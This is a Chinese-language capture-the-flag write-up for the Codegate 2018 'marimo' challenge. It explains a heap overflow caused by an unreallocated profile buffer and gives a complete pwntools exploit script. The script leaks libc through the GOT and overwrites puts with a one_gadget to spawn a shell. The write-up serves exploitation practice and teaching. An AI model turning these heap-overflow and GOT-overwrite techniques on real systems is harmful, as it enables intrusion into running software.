Codegate-CTF-2018-marimo

介绍

找大佬要来的堆练习题2。

是Codegate CTF中一道堆溢出的题目。

分析程序

分析题目流程,还是比较清晰的。主要就是购买、卖出、查看并修改,还有一个隐藏选项,直接增加一个marimo。我们只会用到两个函数,secret函数,直接添加,view_modify函数,查看并修改。

结构体:

1
2
3
4
5
6
struct node{
_DWORD birth;
_DWORD size;
char * name;
char * profile;
}marimo[10];

secret函数,添加一个marimo,birth为当前时间,size为1,name为大小0x10的堆,profile为大小为0x20*size的堆。

view_modify函数,打印节点信息,并使size增加时间差的秒数,然后再修改profile,但并没有重新realloc,所以会造成堆溢出。

1
2
3
size = current_time + marimo->size - marimo->birth;
...
getsN(marimo->profile, 32 * size);

利用方式

add 两次,sleep一段时间,然后修改第一个marimo的profile,溢出修改到第二个marimo。修改指针name或profile造成任意地址读,修改profile造成任意地址写。

任意地址读,读got表信息,算出libc地址,然后任意地址写修改got表为one_gadget,即可getshell。

one_gadget用脚本查到的第一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x45216	execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/env python2
# -*- coding: utf-8 -*-

from pwn import *

# context.log_level = 'debug'

p = process('./marimo')
elf = ELF('./marimo')
libc = ELF('./libc-2.23.so')


def secret(name, profile):
p.sendlineafter('>> ', 'show me the marimo')
p.sendlineafter('>> ', name+'')
p.sendlineafter('>> ', profile+'')


def view_modify(num, profile):
p.sendlineafter('>> ', 'V')
p.sendlineafter('>> ', str(num)+'')
p.sendlineafter('>> ', 'M')
p.sendlineafter('>> ', profile+'')
p.sendlineafter('>> ', 'B')


def view(num):
p.sendlineafter('>> ', 'V')
p.sendlineafter('>> ', str(num))


# modify heap
secret('1111', 'aaaaaa')
secret('2222', 'bbbbbb')
sleep(2)
payload = 'a' * (0x30 - 8) + p64(33) + p64(0x15beea5ee) + p64(elf.got['puts']) * 2
view_modify(0, payload)

# leak
view(1)
p.recvuntil('name : ')
leak = u64(p.recv(6) + '\x00\x00')
libc.address = leak - libc.symbols['puts']
p.info('libc.addr: 0x%x' % libc.address)
p.sendlineafter('[M]odify / [B]ack ?', 'B')

# modify got
one_gadget = libc.address + 0x45216
payload = p64(one_gadget)
view_modify(1, payload)

p.interactive()